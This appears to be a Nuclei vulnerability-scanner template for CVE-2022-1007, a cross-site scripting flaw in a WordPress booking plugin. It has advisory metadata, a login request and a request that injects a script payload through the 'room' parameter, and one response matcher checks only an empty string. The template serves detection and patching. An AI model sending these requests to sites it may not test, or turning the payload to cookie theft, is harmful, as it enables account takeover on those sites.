id: CVE-2022-1007 info: name: WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting author: 8arthur severity: medium description: | WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Update to WordPress Advanced Booking Calendar plugin version 1.7.1 or later to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/6f5b764b-d13b-4371-9cc5-91204d9d6358 - https://wordpress.org/plugins/advanced-booking-calendar/ - https://nvd.nist.gov/vuln/detail/cve-2022-1007 - https://plugins.trac.wordpress.org/changeset/2695427 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1007 cwe-id: CWE-79 epss-score: 0.00115 epss-percentile: 0.44855 cpe: cpe:2.3:a:elbtide:advanced_booking_calendar:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: elbtide product: advanced_booking_calendar framework: wordpress tags: wp-plugin,advanced-booking-calendar,cve,cve2022,wp,authenticated,wpscan,wordpress,xss http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true matchers: - type: dsl dsl: - "contains(body_2, '')" - "contains(body_2, 'advanced-booking-calendar')" - "contains(header_2, 'text/html')" - "status_code_2 == 200" condition: and # digest: 490a0046304402204d97f8d499a4fabf99e7ccb5f554d9aa9ed26bd79edc9c850228afb348fbde58022001c49e602a3ec079f98aa8b91352df76c0c0d1c240dc07ea7f4a01f0a0a18eee:922c64590222798bb761d5b6d8e72950